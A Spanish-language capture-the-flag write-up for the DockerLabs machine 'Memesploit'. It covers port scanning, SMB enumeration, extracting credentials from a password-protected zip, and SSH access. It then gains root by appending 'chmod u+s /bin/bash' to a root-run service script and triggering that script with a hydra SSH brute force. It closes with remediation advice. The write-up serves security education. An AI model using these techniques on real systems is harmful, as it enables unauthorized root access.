Skip to content

Memesploit

This content is not available in your language yet.

Este documento presenta la resolución completa de la máquina Memesploit, desarrollada por d1se0 para la plataforma DockerLabs, clasificada con una dificultad Media.

El laboratorio expone un servidor con múltiples servicios accesibles, destacando un recurso SMB mal configurado, credenciales almacenadas de forma insegura y una mala gestión de permisos en servicios del sistema, lo que permite una escalada de privilegios directa hasta root.

A partir de una fase inicial de enumeración, se identifican pistas expuestas en el contenido web y servicios compartidos que facilitan la obtención de credenciales válidas. Posteriormente, se abusa de un servicio ejecutado con privilegios elevados para modificar scripts y obtener acceso administrativo completo.

Todo el proceso se llevó a cabo dentro de un entorno controlado con fines estrictamente educativos.


AtributoValor
NombreMemesploit
Autord1se0
DificultadMedio
Fecha26/06/2024
PlataformaDockerLabs
IP Objetivo172.17.0.2

Se descomprime la máquina y se despliega utilizando el script proporcionado:

Ventana de terminal
unzip Memesploit.zip
sudo bash auto_deploy.sh Memesploit.tar

Una vez iniciado el contenedor, se asigna la dirección IP correspondiente.

IP asignada

Se organiza el entorno de trabajo para mantener una estructura clara durante el análisis:

Ventana de terminal
mkdir -p Memesploit/{content,exploits,nmap,scripts}
cd Memesploit

Se realiza un escaneo completo de puertos TCP para identificar los servicios expuestos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

El resultado muestra los siguientes servicios accesibles:

  • 22/tcp — SSH
  • 80/tcp — HTTP
  • 139/tcp — SMB
  • 445/tcp — SMB

Puertos abiertos


Se realiza fuzzing de rutas y archivos sobre el servicio HTTP:

Ventana de terminal
feroxbuster -u http://172.17.0.2 \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
-x php,html,txt,js -t 100 -C 404

No se identifican rutas adicionales relevantes. El archivo index presenta tres palabras oscurecidas que funcionan como pistas clave:

  • fuerzabrutasiempre
  • memesploit_ctf
  • memehydra

content of index


Se procede a enumerar el servicio SMB utilizando enum4linux:

Ventana de terminal
enum4linux -a 172.17.0.2

El resultado revela información crítica:

  • Share accesible: share_memehydra shares smb

  • Usuario SMB identificado: memehydra smb user

  • Usuarios locales del sistema:

  • memesploit

  • memehydra

local users


Con la información recopilada y las palabras clave obtenidas previamente, se intenta acceder manualmente al recurso SMB:

Ventana de terminal
smbclient //172.17.0.2/share_memehydra -U memehydra

El acceso es exitoso y se lista el contenido del recurso compartido:

smb ls

Se identifica el archivo secret.zip, el cual es descargado a la máquina local. Al intentar descomprimirlo, se solicita una contraseña, por lo que se prueban las palabras clave obtenidas previamente, logrando extraer el archivo secret.txt, el cual contiene credenciales válidas:

content of secret.txt

Estas credenciales se utilizan para acceder al sistema por SSH:

Ventana de terminal
ssh memesploit@172.17.0.2

El acceso es exitoso:

ssh access


Se verifican los privilegios de sudo asignados al usuario:

sudo -l

El resultado indica que es posible ejecutar como root el comando:

/usr/sbin/service login_monitor restart

Se identifica el servicio login_monitor, el cual ejecuta scripts ubicados en el directorio:

/etc/login_monitor/

Dentro de este directorio se encuentra el archivo actionban.sh, cuyo contenido es el siguiente:

actionban.sh
#!/bin/bash
# Ruta del archivo que simula el registro de bloqueos
BLOCK_LOG="/tmp/block_log.txt"
# Función para generar una IP aleatoria
generate_random_ip() {
echo "$((RANDOM % 255 + 1)).$((RANDOM % 255 + 1)).$((RANDOM % 255 + 1)).$((RANDOM % 255 + 1))"
}
# Generar una IP aleatoria
IP_TO_BLOCK=$(generate_random_ip)
# Mensaje de simulación
MESSAGE="Simulación de bloqueo de IP: $IP_TO_BLOCK"
# Mostrar el mensaje en la terminal
echo "$MESSAGE"
# Registrar el intento de bloqueo en el archivo
echo "$(date): $MESSAGE" >> "$BLOCK_LOG"
echo "El registro ha sido creado en $BLOCK_LOG con la IP $IP_TO_BLOCK"

Para poder modificar el script, se cambia temporalmente el nombre del archivo y posteriormente se restaura, lo que permite modificar sus permisos. Al final del archivo se añade la siguiente línea:

Ventana de terminal
chmod u+s /bin/bash

A continuación, se reinicia el servicio:

Ventana de terminal
sudo service login_monitor restart

El script se ejecuta automáticamente al detectar intentos fallidos de autenticación. Para forzar su ejecución, se lanza un ataque de fuerza bruta contra SSH:

Ventana de terminal
hydra -l memesploit -P rockyou.txt ssh://172.17.0.2 -t 64

El ataque puede detenerse casi de inmediato. Finalmente, se ejecuta una shell con privilegios elevados:

Ventana de terminal
bash -p

Obteniendo acceso como root:

whoami root


VulnerabilidadSeveridadImpacto
Recurso SMB expuesto sin controles adecuadosCríticaFiltración de información sensible
Almacenamiento inseguro de credencialesCríticaAcceso no autorizado al sistema
Uso de contraseñas débilesAltaCompromiso de cuentas locales
Permisos inseguros en scripts ejecutados por rootCríticaEscalada directa de privilegios
Servicios reiniciables vía sudo sin validaciónCríticaEjecución arbitraria como root

  • Restringir el acceso a recursos SMB y aplicar autenticación adecuada.
  • Evitar almacenar credenciales en archivos comprimidos sin protección robusta.
  • Aplicar políticas de contraseñas fuertes y únicas para todos los usuarios.
  • Asegurar que scripts ejecutados por servicios críticos no sean modificables por usuarios no privilegiados.
  • Limitar estrictamente los comandos permitidos mediante sudo.
  • Auditar periódicamente servicios del sistema y permisos asociados.